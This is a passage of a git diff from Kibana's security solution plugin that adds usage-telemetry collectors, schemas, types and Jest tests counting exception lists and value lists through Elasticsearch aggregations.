'endpoint_event_filters', + 'endpoint_host_isolation_exceptions', + 'endpoint_blocklists', + ], + }, + }, + { + terms: { + 'exception-list-agnostic.list_id': [ + 'endpoint_trusted_apps', + 'endpoint_event_filters', + 'endpoint_host_isolation_exceptions', + 'endpoint_blocklists', + ], + }, + }, + ], + }, + }, + aggs: { + single_space_lists: { + terms: { + field: 'exception-list.list_id', + }, + aggs: { + list_details: { + filter: { + term: { + 'exception-list.list_type': 'list', + }, + }, + aggs: { + by_type: { + terms: { + field: 'exception-list.type', + }, + }, + }, + }, + items_entries_type: { + filter: { + term: { + 'exception-list.list_type': 'item', + }, + }, + aggs: { + by_type: { + terms: { + field: 'exception-list.entries.type', + }, + }, + }, + }, + non_empty_comments: { + filter: { + exists: { + field: 'exception-list.comments.comment', + }, + }, + }, + expire_time_exists: { + filter: { + exists: { + field: 'exception-list.expire_time', + }, + }, + }, + expire_time_expired: { + filter: { + range: { + 'exception-list.expire_time': { + lt: 'now', + }, + }, + }, + }, + }, + }, + agnostic_space_lists: { + terms: { + field: 'exception-list-agnostic.list_id', + }, + aggs: { + list_details: { + filter: { + term: { + 'exception-list-agnostic.list_type': 'list', + }, + }, + aggs: { + by_type: { + terms: { + field: 'exception-list-agnostic.type', + }, + }, + }, + }, + items_entries_type: { + filter: { + term: { + 'exception-list-agnostic.list_type': 'item', + }, + }, + aggs: { + by_type: { + terms: { + field: 'exception-list-agnostic.entries.type', + }, + }, + }, + }, + non_empty_comments: { + filter: { + exists: { + field: 'exception-list-agnostic.comments.comment', + }, + }, + }, + expire_time_exists: { + filter: { + exists: { + field: 'exception-list-agnostic.expire_time', + }, + }, + }, + expire_time_expired: { + filter: { + range: { + 'exception-list-agnostic.expire_time': { + lt: 'now', + }, + }, + }, + }, + }, + }, + }, + }; + + const response = await esClient.search(query); + const { aggregations: aggs } = response as unknown as ExceptionsOverviewAggsResponse; + const agnosticLists = aggs.agnostic_space_lists.buckets; + const singleSpaceLists = aggs.single_space_lists.buckets; + const allLists = [...agnosticLists, ...singleSpaceLists]; + const reduced = allLists.reduce((aggResult, list) => { + const listType = list.list_details.by_type.buckets[0]?.key; + const items = list.doc_count - 1; + const itemsWithComments = list.non_empty_comments.doc_count; + const itemsWithExpireTime = list.expire_time_exists.doc_count; + const itemsExpired = list.expire_time_expired.doc_count; + const entries = list.items_entries_type.by_type.buckets.reduce( + (acc, entry) => { + const entryType = entry.key as keyof typeof acc; + const entryCount = entry.doc_count; + if (Object.keys(acc).includes(entryType)) { + return { + ...acc, + [entryType]: acc[entryType] + entryCount, + }; + } + + return acc; + }, + { + match: 0, + list: 0, + nested: 0, + match_any: 0, + exists: 0, + wildcard: 0, + } + ); + + if (!listType || !isApprovedListType(listType)) { + return aggResult; + } + const listInfo = aggResult.lists_overview[listType]; + + return { + lists_overview: { + ...aggResult.lists_overview, + [listType]: { + ...listInfo, + lists: listInfo.lists + 1, + total_items: listInfo.total_items + items, + max_items_per_list: Math.max(listInfo.max_items_per_list, items), + min_items_per_list: + listInfo.min_items_per_list === 0 + ? items + : Math.min(listInfo.min_items_per_list, items), + _item_counts: [...listInfo._item_counts, items], + }, + }, + items_overview: { + ...aggResult.items_overview, + total: aggResult.items_overview.total + items, + has_expire_time: aggResult.items_overview.has_expire_time + itemsWithExpireTime, + are_expired: aggResult.items_overview.are_expired + itemsExpired, + has_comments: aggResult.items_overview.has_comments + itemsWithComments, + entries: { + match: aggResult.items_overview.entries.match + entries.match, + list: aggResult.items_overview.entries.list + entries.list, + nested: aggResult.items_overview.entries.nested + entries.nested, + match_any: aggResult.items_overview.entries.match_any + entries.match_any, + exists: aggResult.items_overview.entries.exists + entries.exists, + wildcard: aggResult.items_overview.entries.wildcard + entries.wildcard, + }, + }, + }; + }, METRICS_DEFAULT_STATE_INTERNAL); + + // Compute median and strip _item_counts for output + const listsOverview: ExceptionMetricsSchema['lists_overview'] = LIST_TYPES.reduce( + (acc, type) => { + const info = reduced.lists_overview[type]; + acc[type] = { + lists: info.lists, + total_items: info.total_items, + max_items_per_list: info.max_items_per_list, + min_items_per_list: info.min_items_per_list, + median_items_per_list: computeMedian(info._item_counts), + }; + return acc; + }, + { + endpoint: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + rule_default: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + detection: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + } + ); + + return { + lists_overview: listsOverview, + items_overview: reduced.items_overview, + }; + } catch (error) { + // Return schema-compliant empty state + return { + lists_overview: { + endpoint: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + rule_default: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + detection: { + lists: 0, + total_items: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }, + }, + items_overview: { ...ITEMS_OVERVIEW_METRICS_DEFAULT_STATE }, + }; + } +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/schema.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/schema.ts new file mode 100644 index 0000000000000..9dc7c07e1e0db --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/schema.ts @@ -0,0 +1,174 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { MakeSchemaFrom } from '@kbn/usage-collection-plugin/server'; +import type { ExceptionMetricsSchema } from './types'; + +export const exceptionsMetricsSchema: MakeSchemaFrom = { + items_overview: { + total: { + type: 'long', + _meta: { + description: 'Total number of exception items', + }, + }, + has_expire_time: { + type: 'long', + _meta: { + description: 'Total number of exception items using expired time property', + }, + }, + are_expired: { + type: 'long', + _meta: { + description: 'Total number of expired exception items', + }, + }, + has_comments: { + type: 'long', + _meta: { + description: 'Total number of exception items that have comments', + }, + }, + entries: { + match: { + type: 'long', + _meta: { + description: 'Total number of exception items that have match entries', + }, + }, + list: { + type: 'long', + _meta: { + description: 'Total number of exception items that have match entries', + }, + }, + nested: { + type: 'long', + _meta: { + description: 'Total number of exception items that have nested entries', + }, + }, + match_any: { + type: 'long', + _meta: { + description: 'Total number of exception items that have match_any entries', + }, + }, + exists: { + type: 'long', + _meta: { + description: 'Total number of exception items that have exists entries', + }, + }, + wildcard: { + type: 'long', + _meta: { + description: 'Total number of exception items that have wildcard entries', + }, + }, + }, + }, + lists_overview: { + detection: { + lists: { + type: 'long', + _meta: { + description: 'Total number of exception lists of type "detection"', + }, + }, + total_items: { + type: 'long', + _meta: { + description: 'Total number of exception list items of type "detection"', + }, + }, + max_items_per_list: { + type: 'long', + _meta: { + description: 'Largest exception list of type "detection" - number of items', + }, + }, + min_items_per_list: { + type: 'long', + _meta: { + description: 'Smallest exception list of type "detection" - number of items', + }, + }, + median_items_per_list: { + type: 'long', + _meta: { + description: 'Average number of exception list items per list of type "detection"', + }, + }, + }, + rule_default: { + lists: { + type: 'long', + _meta: { + description: 'Total number of exception lists of type "rule_default"', + }, + }, + total_items: { + type: 'long', + _meta: { + description: 'Total number of exception list items of type "rule_default"', + }, + }, + max_items_per_list: { + type: 'long', + _meta: { + description: 'Largest exception list of type "rule_default"- number of items', + }, + }, + min_items_per_list: { + type: 'long', + _meta: { + description: 'Smallest exception list of type "rule_default"- number of items', + }, + }, + median_items_per_list: { + type: 'long', + _meta: { + description: 'Average number of exception list items per list of type "rule_default"', + }, + }, + }, + endpoint: { + lists: { + type: 'long', + _meta: { + description: 'Total number of exception lists of type "endpoint"', + }, + }, + total_items: { + type: 'long', + _meta: { + description: 'Total number of exception list items of type "endpoint"', + }, + }, + max_items_per_list: { + type: 'long', + _meta: { + description: 'Largest exception list of type "endpoint"- number of items', + }, + }, + min_items_per_list: { + type: 'long', + _meta: { + description: 'Smallest exception list of type "endpoint"- number of items', + }, + }, + median_items_per_list: { + type: 'long', + _meta: { + description: 'Average number of exception list items per list of type "endpoint"', + }, + }, + }, + }, +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/types.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/types.ts new file mode 100644 index 0000000000000..5345740a69a3d --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/types.ts @@ -0,0 +1,121 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +export const LIST_TYPES = ['endpoint', 'rule_default', 'detection'] as const; +export type ListType = (typeof LIST_TYPES)[number]; + +export interface ListInfoSchema { + lists: number; + total_items: number; + max_items_per_list: number; + min_items_per_list: number; + median_items_per_list: number; +} + +export interface ItemsInfoSchema { + total: number; + entries: { + match: number; + list: number; + nested: number; + match_any: number; + exists: number; + wildcard: number; + }; + has_expire_time: number; + are_expired: number; + has_comments: number; +} + +export interface ExceptionMetricsSchema { + lists_overview: Record; + items_overview: ItemsInfoSchema; +} + +export interface ExceptionsOverviewAggsResponse { + aggregations: { + agnostic_space_lists: { + buckets: Array<{ + key: string; + doc_count: number; + list_details: { + by_type: { + buckets: Array<{ + key: string; + doc_count: number; + }>; + }; + }; + items_entries_type: { + by_type: { + buckets: Array<{ + key: string; + doc_count: number; + }>; + }; + }; + non_empty_comments: { + doc_count: number; + }; + expire_time_exists: { + doc_count: number; + }; + expire_time_expired: { + doc_count: number; + }; + }>; + }; + single_space_lists: { + buckets: Array<{ + key: string; + doc_count: number; + list_details: { + by_type: { + buckets: Array<{ + key: string; + doc_count: number; + }>; + }; + }; + items_entries_type: { + by_type: { + buckets: Array<{ + key: string; + doc_count: number; + }>; + }; + }; + non_empty_comments: { + doc_count: number; + }; + expire_time_exists: { + doc_count: number; + }; + expire_time_expired: { + doc_count: number; + }; + }>; + }; + }; +} + +export interface ExceptionListIdsAggsResponse { + aggregations: { + by_exception_list_type: { + buckets: Array<{ + key: string; + doc_count: number; + list_ids: { + buckets: Array<{ + key: string; + doc_count: number; + }>; + }; + }>; + }; + }; +} diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/utils.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/utils.ts new file mode 100644 index 0000000000000..0106f79c5c94e --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/exceptions/utils.ts @@ -0,0 +1,24 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { ListType } from './types'; +import { LIST_TYPES } from './types'; + +export const computeMedian = (arr: number[]): number => { + if (!arr.length) return 0; + const sorted = [...arr].sort((a, b) => a - b); + const mid = Math.floor(sorted.length / 2); + if (sorted.length % 2 === 0) { + return (sorted[mid - 1] + sorted[mid]) / 2; + } else { + return sorted[mid]; + } +}; + +export const isApprovedListType = (listType: unknown): listType is ListType => { + return LIST_TYPES.includes(listType as ListType); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/get_metrics.test.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/get_metrics.test.ts new file mode 100644 index 0000000000000..7ecb090544188 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/get_metrics.test.ts @@ -0,0 +1,108 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { getValueListsMetrics } from './get_metrics'; +import { getListsOverview } from './queries/get_lists_overview'; +import { getListItemsOverview } from './queries/get_list_items_overview'; +import { elasticsearchServiceMock, loggingSystemMock } from '@kbn/core/server/mocks'; +import { METRICS_ITEMS_DEFAULT_STATE, METRICS_LISTS_DEFAULT_STATE } from './utils'; + +jest.mock('./queries/get_lists_overview', () => ({ + getListsOverview: jest.fn(), +})); + +jest.mock('./queries/get_list_items_overview', () => ({ + getListItemsOverview: jest.fn(), +})); + +describe('getValueListsMetrics', () => { + let esClient: ReturnType; + let logger: ReturnType; + + beforeEach(() => { + esClient = elasticsearchServiceMock.createElasticsearchClient(); + logger = loggingSystemMock.createLogger(); + jest.clearAllMocks(); + jest.resetAllMocks(); + }); + + it('returns combined metrics from getListsOverview and getListItemsOverview', async () => { + const mockListsOverview = { + binary: 1, + boolean: 2, + keyword: 3, + total: 6, + }; + + const mockItemsOverview = { + total: 15, + max_items_per_list: 10, + min_items_per_list: 5, + average_items_per_list: 7.5, + }; + + (getListsOverview as jest.Mock).mockResolvedValueOnce(mockListsOverview); + (getListItemsOverview as jest.Mock).mockResolvedValueOnce(mockItemsOverview); + + const result = await getValueListsMetrics({ esClient, logger }); + + expect(result).toEqual({ + lists_overview: mockListsOverview, + items_overview: mockItemsOverview, + }); + }); + + it('handles errors gracefully when getListsOverview fails', async () => { + const mockItemsOverview = { + total: 15, + max_items_per_list: 10, + min_items_per_list: 5, + average_items_per_list: 7.5, + }; + + (getListsOverview as jest.Mock).mockRejectedValueOnce(new Error('Lists overview failed')); + (getListItemsOverview as jest.Mock).mockResolvedValueOnce(mockItemsOverview); + + const result = await getValueListsMetrics({ esClient, logger }); + + expect(result).toEqual({ + lists_overview: METRICS_LISTS_DEFAULT_STATE, + items_overview: METRICS_ITEMS_DEFAULT_STATE, + }); + }); + + it('handles errors gracefully when getListItemsOverview fails', async () => { + const mockListsOverview = { + binary: 1, + boolean: 2, + keyword: 3, + total: 6, + }; + + (getListsOverview as jest.Mock).mockResolvedValueOnce(mockListsOverview); + (getListItemsOverview as jest.Mock).mockRejectedValueOnce(new Error('Items overview failed')); + + const result = await getValueListsMetrics({ esClient, logger }); + + expect(result).toEqual({ + lists_overview: METRICS_LISTS_DEFAULT_STATE, + items_overview: METRICS_ITEMS_DEFAULT_STATE, + }); + }); + + it('handles errors gracefully when both functions fail', async () => { + (getListsOverview as jest.Mock).mockRejectedValueOnce(new Error('Lists overview failed')); + (getListItemsOverview as jest.Mock).mockRejectedValueOnce(new Error('Items overview failed')); + + const result = await getValueListsMetrics({ esClient, logger }); + + expect(result).toEqual({ + lists_overview: METRICS_LISTS_DEFAULT_STATE, + items_overview: METRICS_ITEMS_DEFAULT_STATE, + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/get_metrics.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/get_metrics.ts new file mode 100644 index 0000000000000..82715515da305 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/get_metrics.ts @@ -0,0 +1,45 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { ElasticsearchClient, Logger } from '@kbn/core/server'; +import type { ValueListMetricsSchema } from './types'; +import { getListsOverview } from './queries/get_lists_overview'; +import { getListItemsOverview } from './queries/get_list_items_overview'; +import { METRICS_ITEMS_DEFAULT_STATE, METRICS_LISTS_DEFAULT_STATE } from './utils'; + +export interface GetValueListsMetricsOptions { + esClient: ElasticsearchClient; + logger: Logger; +} + +export const getValueListsMetrics = async ({ + esClient, + logger, +}: GetValueListsMetricsOptions): Promise => { + try { + const listsOverview = await getListsOverview({ + esClient, + logger, + }); + const itemsOverview = await getListItemsOverview({ + esClient, + logger, + }); + + return { + lists_overview: listsOverview, + items_overview: itemsOverview, + }; + } catch (error) { + logger.error(`Error fetching value lists metrics: ${error.message}`); + + return { + lists_overview: METRICS_LISTS_DEFAULT_STATE, + items_overview: METRICS_ITEMS_DEFAULT_STATE, + }; + } +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_list_items_overview.test.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_list_items_overview.test.ts new file mode 100644 index 0000000000000..3961ae90b3309 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_list_items_overview.test.ts @@ -0,0 +1,103 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { getListItemsOverview } from './get_list_items_overview'; +import { elasticsearchServiceMock, loggingSystemMock } from '@kbn/core/server/mocks'; + +describe('getListItemsOverview', () => { + let esClient: ReturnType; + let logger: ReturnType; + + beforeEach(() => { + esClient = elasticsearchServiceMock.createElasticsearchClient(); + logger = loggingSystemMock.createLogger(); + }); + + it('returns default metrics when no data is found', async () => { + esClient.search.mockResolvedValueOnce({ + took: 0, + timed_out: false, + _shards: { + total: 1, + successful: 1, + skipped: 0, + failed: 0, + }, + aggregations: { + items_per_list: { buckets: [] }, + min_items_per_list: { value: null }, + max_items_per_list: { value: null }, + median_items_per_list: { value: null }, + }, + hits: { + total: { value: 0, relation: 'eq' }, + max_score: null, + hits: [], + }, + }); + + const result = await getListItemsOverview({ esClient, logger }); + + expect(result).toEqual({ + total: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }); + }); + + it('aggregates metrics correctly when data is present', async () => { + esClient.search.mockResolvedValueOnce({ + took: 0, + timed_out: false, + _shards: { + total: 1, + successful: 1, + skipped: 0, + failed: 0, + }, + aggregations: { + items_per_list: { + buckets: [ + { key: 'list_1', doc_count: 5 }, + { key: 'list_2', doc_count: 10 }, + ], + }, + min_items_per_list: { value: 5 }, + max_items_per_list: { value: 10 }, + median_items_per_list: { values: { '50.0': 7.5 } }, + }, + hits: { + total: { value: 15, relation: 'eq' }, + max_score: null, + hits: [], + }, + }); + + const result = await getListItemsOverview({ esClient, logger }); + + expect(result).toEqual({ + total: 15, + max_items_per_list: 10, + min_items_per_list: 5, + median_items_per_list: 7.5, + }); + }); + + it('returns default metrics when Elasticsearch query fails', async () => { + esClient.search.mockRejectedValueOnce(new Error('Elasticsearch query failed')); + + const result = await getListItemsOverview({ esClient, logger }); + + expect(result).toEqual({ + total: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_list_items_overview.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_list_items_overview.ts new file mode 100644 index 0000000000000..40054f1290ceb --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_list_items_overview.ts @@ -0,0 +1,71 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { Logger, ElasticsearchClient } from '@kbn/core/server'; +import type { SearchRequest } from '@elastic/elasticsearch/lib/api/types'; +import type { ValueListItemsOverviewMetricsSchema, ListItemsOverviewAggsResponse } from '../types'; +import { METRICS_ITEMS_DEFAULT_STATE } from '../utils'; + +export interface GetExceptionsOverviewOptions { + logger: Logger; + esClient: ElasticsearchClient; +} + +export const getListItemsOverview = async ({ + logger, + esClient, +}: GetExceptionsOverviewOptions): Promise => { + try { + const query: SearchRequest = { + expand_wildcards: ['open' as const, 'hidden' as const], + index: '.items*', + ignore_unavailable: false, + size: 0, + aggs: { + items_per_list: { + terms: { + field: 'list_id', + }, + }, + min_items_per_list: { + min_bucket: { + buckets_path: 'items_per_list._count', + }, + }, + max_items_per_list: { + max_bucket: { + buckets_path: 'items_per_list._count', + }, + }, + median_items_per_list: { + percentiles_bucket: { + buckets_path: 'items_per_list._count', + percents: [50], + }, + }, + }, + }; + + logger.debug(`Fetching value list items metrics: ${JSON.stringify(query, null, 2)}`); + + const response = await esClient.search(query); + const { aggregations: aggs, hits } = response as unknown as ListItemsOverviewAggsResponse; + + logger.debug(`Returning value list items metrics response: ${JSON.stringify(aggs, null, 2)}`); + + return { + total: hits.total.value || 0, + max_items_per_list: aggs.max_items_per_list.value || 0, + min_items_per_list: aggs.min_items_per_list.value || 0, + median_items_per_list: aggs.median_items_per_list.values['50.0'] || 0, + }; + } catch (error) { + logger.error(`Error fetching value list items metrics: ${error.message}`); + + return { ...METRICS_ITEMS_DEFAULT_STATE, total: 0 }; + } +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_lists_overview.test.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_lists_overview.test.ts new file mode 100644 index 0000000000000..5e437e12477a7 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_lists_overview.test.ts @@ -0,0 +1,158 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { getListsOverview } from './get_lists_overview'; +import { elasticsearchServiceMock, loggingSystemMock } from '@kbn/core/server/mocks'; + +describe('getListsOverview', () => { + let esClient: ReturnType; + let logger: ReturnType; + + beforeEach(() => { + esClient = elasticsearchServiceMock.createElasticsearchClient(); + logger = loggingSystemMock.createLogger(); + }); + + it('returns default metrics when no data is found', async () => { + esClient.search.mockResolvedValueOnce({ + took: 0, + timed_out: false, + _shards: { + total: 1, + successful: 1, + skipped: 0, + failed: 0, + }, + aggregations: { + by_type: { buckets: [] }, + }, + hits: { + total: { value: 0, relation: 'eq' }, + max_score: null, + hits: [], + }, + }); + + const result = await getListsOverview({ esClient, logger }); + + expect(result).toEqual({ + binary: 0, + boolean: 0, + byte: 0, + date: 0, + date_nanos: 0, + date_range: 0, + double: 0, + double_range: 0, + float: 0, + float_range: 0, + geo_point: 0, + geo_shape: 0, + half_float: 0, + integer: 0, + integer_range: 0, + ip: 0, + ip_range: 0, + keyword: 0, + long: 0, + long_range: 0, + shape: 0, + short: 0, + text: 0, + total: 0, + }); + }); + + it('aggregates metrics correctly when data is present', async () => { + esClient.search.mockResolvedValueOnce({ + took: 0, + timed_out: false, + _shards: { + total: 1, + successful: 1, + skipped: 0, + failed: 0, + }, + aggregations: { + by_type: { + buckets: [ + { key: 'keyword', doc_count: 5 }, + { key: 'ip', doc_count: 3 }, + { key: 'text', doc_count: 2 }, + ], + }, + }, + hits: { + total: { value: 10, relation: 'eq' }, + max_score: null, + hits: [], + }, + }); + + const result = await getListsOverview({ esClient, logger }); + + expect(result).toEqual({ + binary: 0, + boolean: 0, + byte: 0, + date: 0, + date_nanos: 0, + date_range: 0, + double: 0, + double_range: 0, + float: 0, + float_range: 0, + geo_point: 0, + geo_shape: 0, + half_float: 0, + integer: 0, + integer_range: 0, + ip: 3, + ip_range: 0, + keyword: 5, + long: 0, + long_range: 0, + shape: 0, + short: 0, + text: 2, + total: 10, + }); + }); + + it('returns default metrics when Elasticsearch query fails', async () => { + esClient.search.mockRejectedValueOnce(new Error('Elasticsearch query failed')); + + const result = await getListsOverview({ esClient, logger }); + + expect(result).toEqual({ + binary: 0, + boolean: 0, + byte: 0, + date: 0, + date_nanos: 0, + date_range: 0, + double: 0, + double_range: 0, + float: 0, + float_range: 0, + geo_point: 0, + geo_shape: 0, + half_float: 0, + integer: 0, + integer_range: 0, + ip: 0, + ip_range: 0, + keyword: 0, + long: 0, + long_range: 0, + shape: 0, + short: 0, + text: 0, + total: 0, + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_lists_overview.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_lists_overview.ts new file mode 100644 index 0000000000000..4f8388eba004b --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/queries/get_lists_overview.ts @@ -0,0 +1,68 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { Logger, ElasticsearchClient } from '@kbn/core/server'; +import type { SearchRequest } from '@elastic/elasticsearch/lib/api/types'; +import type { ValueListsOverviewMetricsSchema, ListsOverviewAggsResponse } from '../types'; +import { METRICS_LISTS_DEFAULT_STATE } from '../utils'; + +export interface GetExceptionsOverviewOptions { + logger: Logger; + esClient: ElasticsearchClient; +} + +export const getListsOverview = async ({ + logger, + esClient, +}: GetExceptionsOverviewOptions): Promise => { + try { + const query: SearchRequest = { + expand_wildcards: ['open' as const, 'hidden' as const], + index: '.lists*', + ignore_unavailable: false, + size: 0, // no query results required - only aggregation quantity + aggs: { + by_type: { + terms: { + field: 'type', + }, + }, + }, + }; + + logger.debug(`Fetching value lists overview metrics: ${JSON.stringify(query, null, 2)}`); + + const response = await esClient.search(query); + const { aggregations: aggs, hits } = response as unknown as ListsOverviewAggsResponse; + + type MetricKeys = keyof typeof METRICS_LISTS_DEFAULT_STATE; + + const listTypes = aggs.by_type.buckets.reduce((aggResult, typeBucket) => { + const listType = typeBucket.key as MetricKeys; + const count = typeBucket.doc_count; + + const updatedResult = { + ...aggResult, + [listType]: (aggResult[listType] ?? 0) + count, + }; + return updatedResult; + }, METRICS_LISTS_DEFAULT_STATE); + + logger.debug( + `Returning value lists overview metrics response: ${JSON.stringify(listTypes, null, 2)}` + ); + + return { + ...listTypes, + total: hits.total.value, + }; + } catch (error) { + logger.error(`Error fetching value lists overview metrics: ${error.message}`); + // Return default state if an error occurs + return { ...METRICS_LISTS_DEFAULT_STATE, total: 0 }; + } +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/schema.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/schema.ts new file mode 100644 index 0000000000000..9f78e915b3c99 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/schema.ts @@ -0,0 +1,184 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { MakeSchemaFrom } from '@kbn/usage-collection-plugin/server'; +import type { ValueListMetricsSchema } from './types'; + +export const valueListsMetricsSchema: MakeSchemaFrom = { + lists_overview: { + total: { + type: 'long', + _meta: { + description: 'Total number of value lists', + }, + }, + binary: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "binary"', + }, + }, + boolean: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "boolean"', + }, + }, + byte: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "byte"', + }, + }, + date: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "date"', + }, + }, + date_nanos: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "date_nanos"', + }, + }, + date_range: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "date_range"', + }, + }, + double: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "double"', + }, + }, + double_range: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "double_range"', + }, + }, + float: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "float"', + }, + }, + float_range: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "float_range"', + }, + }, + geo_point: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "geo_point"', + }, + }, + geo_shape: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "geo_shape"', + }, + }, + half_float: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "half_float"', + }, + }, + integer: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "integer"', + }, + }, + integer_range: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "integer_range"', + }, + }, + ip: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "ip"', + }, + }, + ip_range: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "ip_range"', + }, + }, + keyword: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "keyword"', + }, + }, + long: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "long"', + }, + }, + long_range: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "long_range"', + }, + }, + shape: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "shape"', + }, + }, + short: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "short"', + }, + }, + text: { + type: 'long', + _meta: { + description: 'Total number of value lists of type "text"', + }, + }, + }, + items_overview: { + total: { + type: 'long', + _meta: { + description: 'Total number of value list items', + }, + }, + max_items_per_list: { + type: 'long', + _meta: { + description: 'Max number of value list items in a single list', + }, + }, + min_items_per_list: { + type: 'long', + _meta: { + description: 'Min number of value list items in a single list', + }, + }, + median_items_per_list: { + type: 'long', + _meta: { + description: 'Median number of value list items in a single list', + }, + }, + }, +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/types.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/types.ts new file mode 100644 index 0000000000000..13300188edac1 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/types.ts @@ -0,0 +1,84 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +export interface ValueListsOverviewMetricsSchema { + total: number; + binary: number; + boolean: number; + byte: number; + date: number; + date_nanos: 